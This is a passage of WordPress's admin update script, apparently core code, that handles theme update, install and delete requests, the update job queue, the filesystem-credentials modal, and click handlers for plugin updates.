	 * @param {updateThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.updateThemeSuccess
	 * @param {updateThemeError=}   args.error   Optional. Error callback. Default: wp.updates.updateThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.updateTheme = function( args ) {
		var $notice;

		args = _.extend( {
			success: wp.updates.updateThemeSuccess,
			error: wp.updates.updateThemeError
		}, args );

		if ( 'themes-network' === pagenow ) {
			$notice = $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ).removeClass( 'notice-error' ).addClass( 'updating-message notice-warning' ).find( 'p' );

		} else if ( 'customize' === pagenow ) {

			// Update the theme details UI.
			$notice = $( '[data-slug="' + args.slug + '"].notice' ).removeClass( 'notice-large' );

			$notice.find( 'h3' ).remove();

			// Add the top-level UI, and update both.
			$notice = $notice.add( $( '#customize-control-installed_theme_' + args.slug ).find( '.update-message' ) );
			$notice = $notice.addClass( 'updating-message' ).find( 'p' );

		} else {
			$notice = $( '#update-theme' ).closest( '.notice' ).removeClass( 'notice-large' );

			$notice.find( 'h3' ).remove();

			$notice = $notice.add( $( '[data-slug="' + args.slug + '"]' ).find( '.update-message' ) );
			$notice = $notice.addClass( 'updating-message' ).find( 'p' );
		}

		if ( $notice.html() !== __( 'Updating...' ) ) {
			$notice.data( 'originaltext', $notice.html() );
		}

		wp.a11y.speak( __( 'Updating... please wait.' ) );
		$notice.text( __( 'Updating...' ) );

		$document.trigger( 'wp-theme-updating', args );

		return wp.updates.ajax( 'update-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme update.
	 *
	 * @since 4.6.0
	 * @since 5.5.0 Auto-update "time to next update" text cleared.
	 *
	 * @param {Object} response
	 * @param {string} response.slug       Slug of the theme to be updated.
	 * @param {Object} response.theme      Updated theme.
	 * @param {string} response.oldVersion Old version of the theme.
	 * @param {string} response.newVersion New version of the theme.
	 */
	wp.updates.updateThemeSuccess = function( response ) {
		var isModalOpen    = $( 'body.modal-open' ).length,
			$theme         = $( '[data-slug="' + response.slug + '"]' ),
			updatedMessage = {
				className: 'updated-message notice-success notice-alt',
				message:   _x( 'Updated!', 'theme' )
			},
			$notice, newText;

		if ( 'customize' === pagenow ) {
			$theme = $( '.updating-message' ).siblings( '.theme-name' );

			if ( $theme.length ) {

				// Update the version number in the row.
				newText = $theme.html().replace( response.oldVersion, response.newVersion );
				$theme.html( newText );
			}

			$notice = $( '.theme-info .notice' ).add( wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' ).find( '.update-message' ) );
		} else if ( 'themes-network' === pagenow ) {
			$notice = $theme.find( '.update-message' );

			// Update the version number in the row.
			newText = $theme.find( '.theme-version-author-uri' ).html().replace( response.oldVersion, response.newVersion );
			$theme.find( '.theme-version-author-uri' ).html( newText );

			// Clear the "time to next auto-update" text.
			$theme.find( '.auto-update-time' ).empty();
		} else {
			$notice = $( '.theme-info .notice' ).add( $theme.find( '.update-message' ) );

			// Focus on Customize button after updating.
			if ( isModalOpen ) {
				$( '.load-customize:visible' ).trigger( 'focus' );
				$( '.theme-info .theme-autoupdate' ).find( '.auto-update-time' ).empty();
			} else {
				$theme.find( '.load-customize' ).trigger( 'focus' );
			}
		}

		wp.updates.addAdminNotice( _.extend( { selector: $notice }, updatedMessage ) );
		wp.a11y.speak( __( 'Update completed successfully.' ) );

		wp.updates.decrementCount( 'theme' );

		$document.trigger( 'wp-theme-update-success', response );

		// Show updated message after modal re-rendered.
		if ( isModalOpen && 'customize' !== pagenow ) {
			$( '.theme-info .theme-author' ).after( wp.updates.adminNotice( updatedMessage ) );
		}
	};

	/**
	 * Updates the UI appropriately after a failed theme update.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be updated.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.updateThemeError = function( response ) {
		var $theme       = $( '[data-slug="' + response.slug + '"]' ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed update. */
				 __( 'Update failed: %s' ),
				response.errorMessage
			),
			$notice;

		if ( ! wp.updates.isValidResponse( response, 'update' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'update-theme' ) ) {
			return;
		}

		if ( 'customize' === pagenow ) {
			$theme = wp.customize.control( 'installed_theme_' + response.slug ).container.find( '.theme' );
		}

		if ( 'themes-network' === pagenow ) {
			$notice = $theme.find( '.update-message ' );
		} else {
			$notice = $( '.theme-info .notice' ).add( $theme.find( '.notice' ) );

			$( 'body.modal-open' ).length ? $( '.load-customize:visible' ).trigger( 'focus' ) : $theme.find( '.load-customize' ).trigger( 'focus');
		}

		wp.updates.addAdminNotice( {
			selector:  $notice,
			className: 'update-message notice-error notice-alt is-dismissible',
			message:   errorMessage
		} );

		wp.a11y.speak( errorMessage );

		$document.trigger( 'wp-theme-update-error', response );
	};

	/**
	 * Sends an Ajax request to the server to install a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}               args
	 * @param {string}               args.slug    Theme stylesheet.
	 * @param {installThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.installThemeSuccess
	 * @param {installThemeError=}   args.error   Optional. Error callback. Default: wp.updates.installThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.installTheme = function( args ) {
		var $message = $( '.theme-install[data-slug="' + args.slug + '"]' );

		args = _.extend( {
			success: wp.updates.installThemeSuccess,
			error: wp.updates.installThemeError
		}, args );

		$message.addClass( 'updating-message' );
		$message.parents( '.theme' ).addClass( 'focus' );
		if ( $message.html() !== __( 'Installing...' ) ) {
			$message.data( 'originaltext', $message.html() );
		}

		$message
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( 'Installing %s...', 'theme' ),
					$message.data( 'name' )
				)
			)
			.text( __( 'Installing...' ) );

		wp.a11y.speak( __( 'Installing... please wait.' ) );

		// Remove previous error messages, if any.
		$( '.install-theme-info, [data-slug="' + args.slug + '"]' ).removeClass( 'theme-install-failed' ).find( '.notice.notice-error' ).remove();

		$document.trigger( 'wp-theme-installing', args );

		return wp.updates.ajax( 'install-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.customizeUrl URL to the Customizer for the just installed theme.
	 * @param {string} response.activateUrl  URL to activate the just installed theme.
	 */
	wp.updates.installThemeSuccess = function( response ) {
		var $card = $( '.wp-full-overlay-header, [data-slug=' + response.slug + ']' ),
			$message;

		$document.trigger( 'wp-theme-install-success', response );

		$message = $card.find( '.button-primary' )
			.removeClass( 'updating-message' )
			.addClass( 'updated-message disabled' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( '%s installed!', 'theme' ),
					response.themeName
				)
			)
			.text( _x( 'Installed!', 'theme' ) );

		wp.a11y.speak( __( 'Installation completed successfully.' ) );

		setTimeout( function() {

			if ( response.activateUrl ) {

				// Transform the 'Install' button into an 'Activate' button.
				$message
					.attr( 'href', response.activateUrl )
					.removeClass( 'theme-install updated-message disabled' )
					.addClass( 'activate' );

				if ( 'themes-network' === pagenow ) {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Theme name. */
								_x( 'Network Activate %s', 'theme' ),
								response.themeName
							)
						)
						.text( __( 'Network Enable' ) );
				} else {
					$message
						.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Theme name. */
								_x( 'Activate %s', 'theme' ),
								response.themeName
							)
						)
						.text( __( 'Activate' ) );
				}
			}

			if ( response.customizeUrl ) {

				// Transform the 'Preview' button into a 'Live Preview' button.
				$message.siblings( '.preview' ).replaceWith( function () {
					return $( '<a>' )
						.attr( 'href', response.customizeUrl )
						.addClass( 'button load-customize' )
						.text( __( 'Live Preview' ) );
				} );
			}
		}, 1000 );
	};

	/**
	 * Updates the UI appropriately after a failed theme install.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be installed.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.installThemeError = function( response ) {
		var $card, $button,
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed installation. */
				__( 'Installation failed: %s' ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   errorMessage
			} );

		if ( ! wp.updates.isValidResponse( response, 'install' ) ) {
			return;
		}

		if ( wp.updates.maybeHandleCredentialError( response, 'install-theme' ) ) {
			return;
		}

		if ( 'customize' === pagenow ) {
			if ( $document.find( 'body' ).hasClass( 'modal-open' ) ) {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $( '.theme-overlay .theme-info' ).prepend( $message );
			} else {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $button.closest( '.theme' ).addClass( 'theme-install-failed' ).append( $message );
			}
			wp.customize.notifications.remove( 'theme_installing' );
		} else {
			if ( $document.find( 'body' ).hasClass( 'full-overlay-active' ) ) {
				$button = $( '.theme-install[data-slug="' + response.slug + '"]' );
				$card   = $( '.install-theme-info' ).prepend( $message );
			} else {
				$card   = $( '[data-slug="' + response.slug + '"]' ).removeClass( 'focus' ).addClass( 'theme-install-failed' ).append( $message );
				$button = $card.find( '.theme-install' );
			}
		}

		$button
			.removeClass( 'updating-message' )
			.attr(
				'aria-label',
				sprintf(
					/* translators: %s: Theme name and version. */
					_x( '%s installation failed', 'theme' ),
					$button.data( 'name' )
				)
			)
			.text( __( 'Installation failed.' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-theme-install-error', response );
	};

	/**
	 * Sends an Ajax request to the server to delete a theme.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object}              args
	 * @param {string}              args.slug    Theme stylesheet.
	 * @param {deleteThemeSuccess=} args.success Optional. Success callback. Default: wp.updates.deleteThemeSuccess
	 * @param {deleteThemeError=}   args.error   Optional. Error callback. Default: wp.updates.deleteThemeError
	 * @return {$.promise} A jQuery promise that represents the request,
	 *                     decorated with an abort() method.
	 */
	wp.updates.deleteTheme = function( args ) {
		var $button;

		if ( 'themes' === pagenow ) {
			$button = $( '.theme-actions .delete-theme' );
		} else if ( 'themes-network' === pagenow ) {
			$button = $( '[data-slug="' + args.slug + '"]' ).find( '.row-actions a.delete' );
		}

		args = _.extend( {
			success: wp.updates.deleteThemeSuccess,
			error: wp.updates.deleteThemeError
		}, args );

		if ( $button && $button.html() !== __( 'Deleting...' ) ) {
			$button
				.data( 'originaltext', $button.html() )
				.text( __( 'Deleting...' ) );
		}

		wp.a11y.speak( __( 'Deleting...' ) );

		// Remove previous error messages, if any.
		$( '.theme-info .update-message' ).remove();

		$document.trigger( 'wp-theme-deleting', args );

		return wp.updates.ajax( 'delete-theme', args );
	};

	/**
	 * Updates the UI appropriately after a successful theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response      Response from the server.
	 * @param {string} response.slug Slug of the theme that was deleted.
	 */
	wp.updates.deleteThemeSuccess = function( response ) {
		var $themeRows = $( '[data-slug="' + response.slug + '"]' );

		if ( 'themes-network' === pagenow ) {

			// Removes the theme and updates rows.
			$themeRows.css( { backgroundColor: '#faafaa' } ).fadeOut( 350, function() {
				var $views     = $( '.subsubsub' ),
					$themeRow  = $( this ),
					themes     = settings.themes,
					deletedRow = wp.template( 'item-deleted-row' );

				if ( ! $themeRow.hasClass( 'plugin-update-tr' ) ) {
					$themeRow.after(
						deletedRow( {
							slug:    response.slug,
							colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
							name:    $themeRow.find( '.theme-title strong' ).text()
						} )
					);
				}

				$themeRow.remove();

				// Remove theme from update count.
				if ( -1 !== _.indexOf( themes.upgrade, response.slug ) ) {
					themes.upgrade = _.without( themes.upgrade, response.slug );
					wp.updates.decrementCount( 'theme' );
				}

				// Remove from views.
				if ( -1 !== _.indexOf( themes.disabled, response.slug ) ) {
					themes.disabled = _.without( themes.disabled, response.slug );
					if ( themes.disabled.length ) {
						$views.find( '.disabled .count' ).text( '(' + themes.disabled.length + ')' );
					} else {
						$views.find( '.disabled' ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes['auto-update-enabled'], response.slug ) ) {
					themes['auto-update-enabled'] = _.without( themes['auto-update-enabled'], response.slug );
					if ( themes['auto-update-enabled'].length ) {
						$views.find( '.auto-update-enabled .count' ).text( '(' + themes['auto-update-enabled'].length + ')' );
					} else {
						$views.find( '.auto-update-enabled' ).remove();
					}
				}

				if ( -1 !== _.indexOf( themes['auto-update-disabled'], response.slug ) ) {
					themes['auto-update-disabled'] = _.without( themes['auto-update-disabled'], response.slug );
					if ( themes['auto-update-disabled'].length ) {
						$views.find( '.auto-update-disabled .count' ).text( '(' + themes['auto-update-disabled'].length + ')' );
					} else {
						$views.find( '.auto-update-disabled' ).remove();
					}
				}

				themes.all = _.without( themes.all, response.slug );

				// There is always at least one theme available.
				$views.find( '.all .count' ).text( '(' + themes.all.length + ')' );
			} );
		}

		// DecrementCount from update count.
		if ( 'themes' === pagenow ) {
		    var theme = _.find( _wpThemeSettings.themes, { id: response.slug } );
		    if ( theme.hasUpdate ) {
		        wp.updates.decrementCount( 'theme' );
		    }
		}

		wp.a11y.speak( _x( 'Deleted!', 'theme' ) );

		$document.trigger( 'wp-theme-delete-success', response );
	};

	/**
	 * Updates the UI appropriately after a failed theme deletion.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.slug         Slug of the theme to be deleted.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 */
	wp.updates.deleteThemeError = function( response ) {
		var $themeRow    = $( 'tr.inactive[data-slug="' + response.slug + '"]' ),
			$button      = $( '.theme-actions .delete-theme' ),
			updateRow    = wp.template( 'item-update-row' ),
			$updateRow   = $themeRow.siblings( '#' + response.slug + '-update' ),
			errorMessage = sprintf(
				/* translators: %s: Error string for a failed deletion. */
				__( 'Deletion failed: %s' ),
				response.errorMessage
			),
			$message     = wp.updates.adminNotice( {
				className: 'update-message notice-error notice-alt',
				message:   errorMessage
			} );

		if ( wp.updates.maybeHandleCredentialError( response, 'delete-theme' ) ) {
			return;
		}

		if ( 'themes-network' === pagenow ) {
			if ( ! $updateRow.length ) {
				$themeRow.addClass( 'update' ).after(
					updateRow( {
						slug: response.slug,
						colspan: $( '#bulk-action-form' ).find( 'thead th:not(.hidden), thead td' ).length,
						content: $message
					} )
				);
			} else {
				// Remove previous error messages, if any.
				$updateRow.find( '.notice-error' ).remove();
				$updateRow.find( '.plugin-update' ).append( $message );
			}
		} else {
			$( '.theme-info .theme-description' ).before( $message );
		}

		$button.html( $button.data( 'originaltext' ) );

		wp.a11y.speak( errorMessage, 'assertive' );

		$document.trigger( 'wp-theme-delete-error', response );
	};

	/**
	 * Adds the appropriate callback based on the type of action and the current page.
	 *
	 * @since 4.6.0
	 * @private
	 *
	 * @param {Object} data   Ajax payload.
	 * @param {string} action The type of request to perform.
	 * @return {Object} The Ajax payload with the appropriate callbacks.
	 */
	wp.updates._addCallbacks = function( data, action ) {
		if ( 'import' === pagenow && 'install-plugin' === action ) {
			data.success = wp.updates.installImporterSuccess;
			data.error   = wp.updates.installImporterError;
		}

		return data;
	};

	/**
	 * Pulls available jobs from the queue and runs them.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Can handle multiple job types.
	 */
	wp.updates.queueChecker = function() {
		var job;

		if ( wp.updates.ajaxLocked || ! wp.updates.queue.length ) {
			return;
		}

		job = wp.updates.queue.shift();

		// Handle a queue job.
		switch ( job.action ) {
			case 'install-plugin':
				wp.updates.installPlugin( job.data );
				break;

			case 'update-plugin':
				wp.updates.updatePlugin( job.data );
				break;

			case 'delete-plugin':
				wp.updates.deletePlugin( job.data );
				break;

			case 'install-theme':
				wp.updates.installTheme( job.data );
				break;

			case 'update-theme':
				wp.updates.updateTheme( job.data );
				break;

			case 'delete-theme':
				wp.updates.deleteTheme( job.data );
				break;

			default:
				break;
		}
	};

	/**
	 * Requests the users filesystem credentials if they aren't already known.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.requestFilesystemCredentials = function( event ) {
		if ( false === wp.updates.filesystemCredentials.available ) {
			/*
			 * After exiting the credentials request modal,
			 * return the focus to the element triggering the request.
			 */
			if ( event && ! wp.updates.$elToReturnFocusToFromCredentialsModal ) {
				wp.updates.$elToReturnFocusToFromCredentialsModal = $( event.target );
			}

			wp.updates.ajaxLocked = true;
			wp.updates.requestForCredentialsModalOpen();
		}
	};

	/**
	 * Requests the users filesystem credentials if needed and there is no lock.
	 *
	 * @since 4.6.0
	 *
	 * @param {Event=} event Optional. Event interface.
	 */
	wp.updates.maybeRequestFilesystemCredentials = function( event ) {
		if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
			wp.updates.requestFilesystemCredentials( event );
		}
	};

	/**
	 * Keydown handler for the request for credentials modal.
	 *
	 * Closes the modal when the escape key is pressed and
	 * constrains keyboard navigation to inside the modal.
	 *
	 * @since 4.2.0
	 *
	 * @param {Event} event Event interface.
	 */
	wp.updates.keydown = function( event ) {
		if ( 27 === event.keyCode ) {
			wp.updates.requestForCredentialsModalCancel();
		} else if ( 9 === event.keyCode ) {

			// #upgrade button must always be the last focus-able element in the dialog.
			if ( 'upgrade' === event.target.id && ! event.shiftKey ) {
				$( '#hostname' ).trigger( 'focus' );

				event.preventDefault();
			} else if ( 'hostname' === event.target.id && event.shiftKey ) {
				$( '#upgrade' ).trigger( 'focus' );

				event.preventDefault();
			}
		}
	};

	/**
	 * Opens the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalOpen = function() {
		var $modal = $( '#request-filesystem-credentials-dialog' );

		$( 'body' ).addClass( 'modal-open' );
		$modal.show();
		$modal.find( 'input:enabled:first' ).trigger( 'focus' );
		$modal.on( 'keydown', wp.updates.keydown );
	};

	/**
	 * Closes the request for credentials modal.
	 *
	 * @since 4.2.0
	 */
	wp.updates.requestForCredentialsModalClose = function() {
		$( '#request-filesystem-credentials-dialog' ).hide();
		$( 'body' ).removeClass( 'modal-open' );

		if ( wp.updates.$elToReturnFocusToFromCredentialsModal ) {
			wp.updates.$elToReturnFocusToFromCredentialsModal.trigger( 'focus' );
		}
	};

	/**
	 * Takes care of the steps that need to happen when the modal is canceled out.
	 *
	 * @since 4.2.0
	 * @since 4.6.0 Triggers an event for callbacks to listen to and add their actions.
	 */
	wp.updates.requestForCredentialsModalCancel = function() {

		// Not ajaxLocked and no queue means we already have cleared things up.
		if ( ! wp.updates.ajaxLocked && ! wp.updates.queue.length ) {
			return;
		}

		_.each( wp.updates.queue, function( job ) {
			$document.trigger( 'credential-modal-cancel', job );
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue = [];

		wp.updates.requestForCredentialsModalClose();
	};

	/**
	 * Displays an error message in the request for credentials form.
	 *
	 * @since 4.2.0
	 *
	 * @param {string} message Error message.
	 */
	wp.updates.showErrorInCredentialsForm = function( message ) {
		var $filesystemForm = $( '#request-filesystem-credentials-form' );

		// Remove any existing error.
		$filesystemForm.find( '.notice' ).remove();
		$filesystemForm.find( '#request-filesystem-credentials-title' ).after( '<div class="notice notice-alt notice-error"><p>' + message + '</p></div>' );
	};

	/**
	 * Handles credential errors and runs events that need to happen in that case.
	 *
	 * @since 4.2.0
	 *
	 * @param {Object} response Ajax response.
	 * @param {string} action   The type of request to perform.
	 */
	wp.updates.credentialError = function( response, action ) {

		// Restore callbacks.
		response = wp.updates._addCallbacks( response, action );

		wp.updates.queue.unshift( {
			action: action,

			/*
			 * Not cool that we're depending on response for this data.
			 * This would feel more whole in a view all tied together.
			 */
			data: response
		} );

		wp.updates.filesystemCredentials.available = false;
		wp.updates.showErrorInCredentialsForm( response.errorMessage );
		wp.updates.requestFilesystemCredentials();
	};

	/**
	 * Handles credentials errors if it could not connect to the filesystem.
	 *
	 * @since 4.6.0
	 *
	 * @param {Object} response              Response from the server.
	 * @param {string} response.errorCode    Error code for the error that occurred.
	 * @param {string} response.errorMessage The error that occurred.
	 * @param {string} action                The type of request to perform.
	 * @return {boolean} Whether there is an error that needs to be handled or not.
	 */
	wp.updates.maybeHandleCredentialError = function( response, action ) {
		if ( wp.updates.shouldRequestFilesystemCredentials && response.errorCode && 'unable_to_connect_to_filesystem' === response.errorCode ) {
			wp.updates.credentialError( response, action );
			return true;
		}

		return false;
	};

	/**
	 * Validates an Ajax response to ensure it's a proper object.
	 *
	 * If the response deems to be invalid, an admin notice is being displayed.
	 *
	 * @param {(Object|string)} response              Response from the server.
	 * @param {function=}       response.always       Optional. Callback for when the Deferred is resolved or rejected.
	 * @param {string=}         response.statusText   Optional. Status message corresponding to the status code.
	 * @param {string=}         response.responseText Optional. Request response as text.
	 * @param {string}          action                Type of action the response is referring to. Can be 'delete',
	 *                                                'update' or 'install'.
	 */
	wp.updates.isValidResponse = function( response, action ) {
		var error = __( 'Something went wrong.' ),
			errorMessage;

		// Make sure the response is a valid data object and not a Promise object.
		if ( _.isObject( response ) && ! _.isFunction( response.always ) ) {
			return true;
		}

		if ( _.isString( response ) && '-1' === response ) {
			error = __( 'An error has occurred. Please reload the page and try again.' );
		} else if ( _.isString( response ) ) {
			error = response;
		} else if ( 'undefined' !== typeof response.readyState && 0 === response.readyState ) {
			error = __( 'Connection lost or the server is busy. Please try again later.' );
		} else if ( _.isString( response.responseText ) && '' !== response.responseText ) {
			error = response.responseText;
		} else if ( _.isString( response.statusText ) ) {
			error = response.statusText;
		}

		switch ( action ) {
			case 'update':
				/* translators: %s: Error string for a failed update. */
				errorMessage = __( 'Update failed: %s' );
				break;

			case 'install':
				/* translators: %s: Error string for a failed installation. */
				errorMessage = __( 'Installation failed: %s' );
				break;

			case 'delete':
				/* translators: %s: Error string for a failed deletion. */
				errorMessage = __( 'Deletion failed: %s' );
				break;
		}

		// Messages are escaped, remove HTML tags to make them more readable.
		error = error.replace( /<[\/a-z][^<>]*>/gi, '' );
		errorMessage = errorMessage.replace( '%s', error );

		// Add admin notice.
		wp.updates.addAdminNotice( {
			id:        'unknown_error',
			className: 'notice-error is-dismissible',
			message:   _.escape( errorMessage )
		} );

		// Remove the lock, and clear the queue.
		wp.updates.ajaxLocked = false;
		wp.updates.queue      = [];

		// Change buttons of all running updates.
		$( '.button.updating-message' )
			.removeClass( 'updating-message' )
			.removeAttr( 'aria-label' )
			.prop( 'disabled', true )
			.text( __( 'Update failed.' ) );

		$( '.updating-message:not(.button):not(.thickbox)' )
			.removeClass( 'updating-message notice-warning' )
			.addClass( 'notice-error' )
			.find( 'p' )
				.removeAttr( 'aria-label' )
				.text( errorMessage );

		wp.a11y.speak( errorMessage, 'assertive' );

		return false;
	};

	/**
	 * Potentially adds an AYS to a user attempting to leave the page.
	 *
	 * If an update is on-going and a user attempts to leave the page,
	 * opens an "Are you sure?" alert.
	 *
	 * @since 4.2.0
	 */
	wp.updates.beforeunload = function() {
		if ( wp.updates.ajaxLocked ) {
			return __( 'Updates may not complete if you navigate away from this page.' );
		}
	};

	$( function() {
		var $pluginFilter        = $( '#plugin-filter' ),
			$bulkActionForm      = $( '#bulk-action-form' ),
			$filesystemForm      = $( '#request-filesystem-credentials-form' ),
			$filesystemModal     = $( '#request-filesystem-credentials-dialog' ),
			$pluginSearch        = $( '.plugins-php .wp-filter-search' ),
			$pluginInstallSearch = $( '.plugin-install-php .wp-filter-search' );

		settings = _.extend( settings, window._wpUpdatesItemCounts || {} );

		if ( settings.totals ) {
			wp.updates.refreshCount();
		}

		/*
		 * Whether a user needs to submit filesystem credentials.
		 *
		 * This is based on whether the form was output on the page server-side.
		 *
		 * @see {wp_print_request_filesystem_credentials_modal() in PHP}
		 */
		wp.updates.shouldRequestFilesystemCredentials = $filesystemModal.length > 0;

		/**
		 * File system credentials form submit noop-er / handler.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( 'submit', 'form', function( event ) {
			event.preventDefault();

			// Persist the credentials input by the user for the duration of the page load.
			wp.updates.filesystemCredentials.ftp.hostname       = $( '#hostname' ).val();
			wp.updates.filesystemCredentials.ftp.username       = $( '#username' ).val();
			wp.updates.filesystemCredentials.ftp.password       = $( '#password' ).val();
			wp.updates.filesystemCredentials.ftp.connectionType = $( 'input[name="connection_type"]:checked' ).val();
			wp.updates.filesystemCredentials.ssh.publicKey      = $( '#public_key' ).val();
			wp.updates.filesystemCredentials.ssh.privateKey     = $( '#private_key' ).val();
			wp.updates.filesystemCredentials.fsNonce            = $( '#_fs_nonce' ).val();
			wp.updates.filesystemCredentials.available          = true;

			// Unlock and invoke the queue.
			wp.updates.ajaxLocked = false;
			wp.updates.queueChecker();

			wp.updates.requestForCredentialsModalClose();
		} );

		/**
		 * Closes the request credentials modal when clicking the 'Cancel' button or outside of the modal.
		 *
		 * @since 4.2.0
		 */
		$filesystemModal.on( 'click', '[data-js-action="close"], .notification-dialog-background', wp.updates.requestForCredentialsModalCancel );

		/**
		 * Hide SSH fields when not selected.
		 *
		 * @since 4.2.0
		 */
		$filesystemForm.on( 'change', 'input[name="connection_type"]', function() {
			$( '#ssh-keys' ).toggleClass( 'hidden', ( 'ssh' !== $( this ).val() ) );
		} ).trigger( 'change' );

		/**
		 * Handles events after the credential modal was closed.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event}  event Event interface.
		 * @param {string} job   The install/update.delete request.
		 */
		$document.on( 'credential-modal-cancel', function( event, job ) {
			var $updatingMessage = $( '.updating-message' ),
				$message, originalText;

			if ( 'import' === pagenow ) {
				$updatingMessage.removeClass( 'updating-message' );
			} else if ( 'plugins' === pagenow || 'plugins-network' === pagenow ) {
				if ( 'update-plugin' === job.action ) {
					$message = $( 'tr[data-plugin="' + job.data.plugin + '"]' ).find( '.update-message' );
				} else if ( 'delete-plugin' === job.action ) {
					$message = $( '[data-plugin="' + job.data.plugin + '"]' ).find( '.row-actions a.delete' );
				}
			} else if ( 'themes' === pagenow || 'themes-network' === pagenow ) {
				if ( 'update-theme' === job.action ) {
					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.update-message' );
				} else if ( 'delete-theme' === job.action && 'themes-network' === pagenow ) {
					$message = $( '[data-slug="' + job.data.slug + '"]' ).find( '.row-actions a.delete' );
				} else if ( 'delete-theme' === job.action && 'themes' === pagenow ) {
					$message = $( '.theme-actions .delete-theme' );
				}
			} else {
				$message = $updatingMessage;
			}

			if ( $message && $message.hasClass( 'updating-message' ) ) {
				originalText = $message.data( 'originaltext' );

				if ( 'undefined' === typeof originalText ) {
					originalText = $( '<p>' ).html( $message.find( 'p' ).data( 'originaltext' ) );
				}

				$message
					.removeClass( 'updating-message' )
					.html( originalText );

				if ( 'plugin-install' === pagenow || 'plugin-install-network' === pagenow ) {
					if ( 'update-plugin' === job.action ) {
						$message.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name and version. */
								_x( 'Update %s now', 'plugin' ),
								$message.data( 'name' )
							)
						);
					} else if ( 'install-plugin' === job.action ) {
						$message.attr(
							'aria-label',
							sprintf(
								/* translators: %s: Plugin name. */
								_x( 'Install %s now', 'plugin' ),
								$message.data( 'name' )
							)
						);
					}
				}
			}

			wp.a11y.speak( __( 'Update canceled.' ) );
		} );

		/**
		 * Click handler for plugin updates in List Table view.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$bulkActionForm.on( 'click', '[data-plugin] .update-link', function( event ) {
			var $message   = $( event.target ),
				$pluginRow = $message.parents( 'tr' );

			event.preventDefault();

			if ( $message.hasClass( 'updating-message' ) || $message.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			// Return the user to the input box of the plugin's table row after closing the modal.
			wp.updates.$elToReturnFocusToFromCredentialsModal = $pluginRow.find( '.check-column input' );
			wp.updates.updatePlugin( {
				plugin: $pluginRow.data( 'plugin' ),
				slug:   $pluginRow.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for plugin updates in plugin install view.
		 *
		 * @since 4.2.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( 'click', '.update-now', function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
				return;
			}

			wp.updates.maybeRequestFilesystemCredentials( event );

			wp.updates.updatePlugin( {
				plugin: $button.data( 'plugin' ),
				slug:   $button.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for plugin installs in plugin install view.
		 *
		 * @since 4.6.0
		 *
		 * @param {Event} event Event interface.
		 */
		$pluginFilter.on( 'click', '.install-now', function( event ) {
			var $button = $( event.target );
			event.preventDefault();

			if ( $button.hasClass( 'updating-message' ) || $button.hasClass( 'button-disabled' ) ) {
				return;
			}

			if ( wp.updates.shouldRequestFilesystemCredentials && ! wp.updates.ajaxLocked ) {
				wp.updates.requestFilesystemCredentials( event );

				$document.on( 'credential-modal-cancel', function() {
					var $message = $( '.install-now.updating-message' );

					$message
						.removeClass( 'updating-message' )
						.text( __( 'Install Now' ) );

					wp.a11y.speak( __( 'Update canceled.' ) );
				} );
			}

			wp.updates.installPlugin( {
				slug: $button.data( 'slug' )
			} );
		} );

		/**
		 * Click handler for importer plugins installs in the Import screen.
		 *
